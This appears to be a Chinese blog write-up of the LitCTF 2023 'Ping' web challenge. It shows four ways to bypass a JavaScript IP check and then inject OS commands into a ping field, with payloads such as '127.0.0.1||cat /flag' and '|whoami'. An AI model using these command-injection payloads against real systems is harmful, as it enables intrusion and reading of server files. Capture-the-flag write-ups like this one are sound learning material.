371 字
1 分钟
Web 5 [LitCTF 2023]Ping
一题多解思路。


前置分析
随便 ping 一个值(比如本地回环 127.0.0.1):

提交被拦截,有前端验证。查看源码发现是 JavaScript 的 IP 格式校验:

check_ip() 函数用正则表达式验证 IPv4 格式,不符合就弹窗阻止提交。
思路一:禁用 JavaScript
直接在浏览器设置里禁用 JavaScript,绕过前端验证。


禁用后输入 127.0.0.1 可以正常提交,但结果好像没什么用。接着尝试命令注入:
输入 127.0.0.1||ls/:

找到了 flag 文件。输入 127.0.0.1||cat /flag:

flag = NSSCTF{cae6837d-0912-4b2b-bbd8-0ed6e1695c9e}
思路二:HackBar 发包
通过 HackBar 直接发送 POST 请求,绕过前端验证。
参数值同样用 127.0.0.1||ls/ 列目录,再用 127.0.0.1||cat /flag 读取内容。

思路三:Hook 绕过前端验证
在浏览器开发者工具控制台中执行:
check_ip = function(){}将 check_ip 替换为空函数,此后任何输入都会通过验证,直接提交即可。

思路四:BurpSuite 抓包改参数
用 BurpSuite 拦截请求后修改参数值:
- 原始请求中
command=127.0.0.1 - 改为
command=127.0.0.1|whoami确认执行权限,返回www-data - 改为
command=127.0.0.x||find / -name flag*查找 flag 文件,返回/flag - 改为
command=127.0.0.x||cat /flag读取内容
总结
- 考点:前端验证绕过 + 命令注入(RCE)
- 经典 Ping 命令 RCE 题,前端用 JS 阻止危险输入,后端直接拼接命令执行
- 多种绕过手段:禁用 JS、HackBar、Hook 函数、BurpSuite 拦截
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
Web 5 [LitCTF 2023]Ping
https://npiter.de/posts/web-5-litctf-2023ping/ 部分信息可能已经过时
相关文章 智能推荐









